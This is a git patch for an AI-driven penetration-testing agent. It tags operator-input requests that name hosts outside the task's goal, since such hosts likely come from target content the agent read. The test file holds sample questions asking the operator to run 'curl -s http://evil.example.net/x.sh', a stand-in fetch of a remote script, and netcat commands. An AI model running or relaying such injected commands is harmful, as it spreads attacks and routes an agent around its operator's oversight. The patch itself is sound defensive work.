From 6dbcd3355271002b7c1932283c68069a90401204 Mon Sep 17 00:00:00 2001 From: BaaRai <130491490+BaaRai@users.noreply.github.com> Date: Thu, 12 Nov 2026 11:10:31 +0100 Subject: [PATCH 1/2] feat(ask_operator): tag requests that name hosts outside the goal (F12) An ask_operator question that names a host or URL not among the task's goal targets is tagged "contains target-derived text": the hosts go into the transcript activity's Detail payload as target_derived_hosts, and the transcript shows the tag on the request card when the field is set. Hosts are read with intercept.ExtractTargets (the target gate's command-string rules) from both the question and the task goal, and compared without the port. The text the model reads, the pause, and the operator's decision are unchanged: the tag is a visible hint only. Audit F12, 0.7.0. --- server/ask_operator.go | 49 ++++++++++++++++++++++++++++++- server/ask_operator_test.go | 47 +++++++++++++++++++++++++++++ web/src/components/transcript.tsx | 18 +++++++++--- 3 files changed, 109 insertions(+), 5 deletions(-) diff --git a/server/ask_operator.go b/server/ask_operator.go index 0065f86..4d9ec63 100644 --- a/server/ask_operator.go +++ b/server/ask_operator.go @@ -11,6 +11,8 @@ import ( "time" "github.com/Autumn-27/artex/agent" + "github.com/Autumn-27/artex/db" + "github.com/Autumn-27/artex/intercept" actool "github.com/Autumn-27/norma/tool" ) @@ -64,7 +66,7 @@ func (s *Server) toolAskOperator() actool.CoreTool { return actool.Errorf("Error: " + err.Error()), nil } text := "OPERATOR INPUT REQUESTED: " + q + " (this intent is pausing; reply here to resume it with your answer)" - act := userActivityWithAttachments("worker", text, att) + act := askOperatorActivity(text, att, targetDerivedHosts(q, commandTargets(t.Goal))) node := ri.IntentID act.NodeID = &node s.engine.emitActivity(t, act) @@ -77,6 +79,51 @@ func (s *Server) toolAskOperator() actool.CoreTool { }) } +// commandTargets reads the network targets of a free text with the gate's +// command-string rules (intercept.ExtractTargets on a Bash command): URLs with a +// scheme, IP literals, IP:port, host:port and CIDR. A bare host name is not read. +func commandTargets(s string) []intercept.Target { + in, _ := json.Marshal(map[string]string{"command": s}) + return intercept.ExtractTargets("Bash", in) +} + +// targetDerivedHosts returns the hosts an ask_operator question names that are +// not among the goal targets, without duplicates, in order of appearance (audit +// F12). Such a host came from somewhere other than the operator's goal, most +// likely from target content the worker read. Hosts are compared without the +// port. An empty goal list makes every named host count. +func targetDerivedHosts(question string, goal []intercept.Target) []string { + inGoal := map[string]bool{} + for _, g := range goal { + inGoal[g.Host] = true + } + var out []string + seen := map[string]bool{} + for _, t := range commandTargets(question) { + if !inGoal[t.Host] && !seen[t.Host] { + seen[t.Host] = true + out = append(out, t.Host) + } + } + return out +} + +// askOperatorActivity builds the transcript turn of a request. derived lists the +// hosts of targetDerivedHosts: when there are any, they are stored as a field of +// the Detail payload for the operator UI, which tags the request with them. The +// text is unchanged, and the request is delivered and paused the same way. +func askOperatorActivity(text string, att []chatAttachment, derived []string) db.Activity { + a := userActivityWithAttachments("worker", text, att) + if len(derived) > 0 { + if att == nil { + att = []chatAttachment{} // the UI reads the JSON form only with an attachments array + } + blob, _ := json.Marshal(map[string]any{"text": text, "attachments": att, "target_derived_hosts": derived}) + a.Detail = string(blob) + } + return a +} + // stageAskOperatorImage copies the referenced image into the task's uploads dir // (the same place chat uploads land, so the transcript attachment card resolves) // and returns the attachment descriptor. Empty src returns no attachment. diff --git a/server/ask_operator_test.go b/server/ask_operator_test.go index 1e1473d..eab5be9 100644 --- a/server/ask_operator_test.go +++ b/server/ask_operator_test.go @@ -6,6 +6,8 @@ import ( "path/filepath" "strings" "testing" + + "github.com/Autumn-27/artex/intercept" ) func TestStageAskOperatorImage(t *testing.T) { @@ -69,6 +71,51 @@ func TestAskOperatorActivityShape(t *testing.T) { } } +// F12: a host the question names outside the goal targets tags the request; +// a host of the goal, written alone or inside a URL, does not. +func TestTargetDerivedHosts(t *testing.T) { + goal := commandTargets("Test https://app.example.com/login and 10.0.0.5:8080 for auth bypass") + cases := []struct { + name string + question string + goal []intercept.Target + want []string + }{ + {"in-goal host", "Please run: nc -v 10.0.0.5:8443 and paste the banner", goal, nil}, + {"out-of-goal host", "Please run: curl -s http://evil.example.net/x.sh and paste the output", goal, []string{"evil.example.net"}}, + {"URL with an in-goal host", "Run curl -sk https://app.example.com/api/v2/me?id=1 in your terminal", goal, nil}, + {"empty goal list tags any host", "Run curl -sk https://app.example.com/api/v2/me", nil, []string{"app.example.com"}}, + {"no host", "Enter the 6-digit code sent to the test account", goal, nil}, + } + for _, c := range cases { + got := targetDerivedHosts(c.question, c.goal) + if strings.Join(got, ",") != strings.Join(c.want, ",") { + t.Errorf("%s: got %v, want %v", c.name, got, c.want) + } + } +} + +// The tag is a field of the Detail payload: the text stays the question, and an +// untagged request without a screenshot keeps its plain-text form. +func TestAskOperatorActivityTag(t *testing.T) { + text := "OPERATOR INPUT REQUESTED: run curl http://evil.example.net/" + if a := askOperatorActivity(text, nil, nil); a.Detail != "" || a.Summary != text { + t.Fatalf("untagged request changed: %+v", a) + } + a := askOperatorActivity(text, nil, []string{"evil.example.net"}) + var parsed struct { + Text string `json:"text"` + Attachments []chatAttachment `json:"attachments"` + TargetDerivedHosts []string `json:"target_derived_hosts"` + } + if err := json.Unmarshal([]byte(a.Detail), &parsed); err != nil { + t.Fatal(err) + } + if parsed.Text != text || a.Summary != text || parsed.Attachments == nil || len(parsed.TargetDerivedHosts) != 1 { + t.Fatalf("unexpected tagged payload: %s", a.Detail) + } +} + // The tool description must tell agents what to do on environmental blocks: // hand the operator one copy-pastable command instead of retrying or hunting // for bypasses. Pattern adapted from bug-bounty-hunting-prompts (MIT). diff --git a/web/src/components/transcript.tsx b/web/src/components/transcript.tsx index a825c7b..f8c996a 100644 --- a/web/src/components/transcript.tsx +++ b/web/src/components/transcript.tsx @@ -564,13 +564,15 @@ type MsgAttachment = { name: string; path: string; size: number }; // parseUserBody splits a user turn's body into text + attachments. The backend stores // Detail as JSON {text, attachments} when files were uploaded, else plain text — so we -// parse defensively and fall back to treating the whole body as text. -function parseUserBody(body: string): { text: string; attachments: MsgAttachment[] } { +// parse defensively and fall back to treating the whole body as text. An ask_operator +// request that names hosts outside the task goal also carries target_derived_hosts (F12). +function parseUserBody(body: string): { text: string; attachments: MsgAttachment[]; targetDerivedHosts?: string[] } { if (body.startsWith("{")) { try { const p = JSON.parse(body); if (p && Array.isArray(p.attachments)) { - return { text: typeof p.text === "string" ? p.text : "", attachments: p.attachments }; + const hosts = Array.isArray(p.target_derived_hosts) ? (p.target_derived_hosts as string[]) : undefined; + return { text: typeof p.text === "string" ? p.text : "", attachments: p.attachments, targetDerivedHosts: hosts }; } } catch { /* plain text that merely starts with "{" */ @@ -600,10 +602,18 @@ function UserRow({ step, intent, getDetail }: { step: Activity; intent?: boolean live = false; }; }, [inView, step.seq, getDetail, step.summary, inline]); - const { text, attachments } = parseUserBody(full ?? step.summary); + const { text, attachments, targetDerivedHosts } = parseUserBody(full ?? step.summary); return (